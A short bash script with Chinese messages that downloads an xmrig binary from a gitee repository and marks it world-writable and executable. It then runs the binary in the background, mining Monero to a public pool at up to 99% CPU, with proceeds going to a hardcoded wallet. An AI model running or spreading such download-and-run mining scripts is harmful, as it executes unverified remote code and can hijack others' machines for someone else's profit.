#!/bin/bash
echo "欢迎使用李哥哥的挖矿程序"
ip=`ifconfig eth0 | grep "inet addr" | awk '{ print $2}' | awk -F: '{print $2}'`
echo "宝宝的IP是：${ip}"
# get xmrig
`wget https://gitee.com/canfengli/mining/raw/master/xmrig`
`chmod 777 xmrig`
url="./xmrig -o pool.supportxmr.com:5555 -u 4A9GdNiSudEEU5XwPFUz8K29KA7WzwWKx6pGXD9RZHd3PSYhcMZWSH99hcmdLLbiYVXsG1jh1u4PhdudqXktf9udP2UDqUC  -k --cpu-priority 5 --donate-level 1 --t 1 --max-cpu-usage 99 --b -p ${ip}"
echo ${url}
#运行挖矿程序 
${url}
echo "请尽情的享受挖矿的乐趣吧！！！"
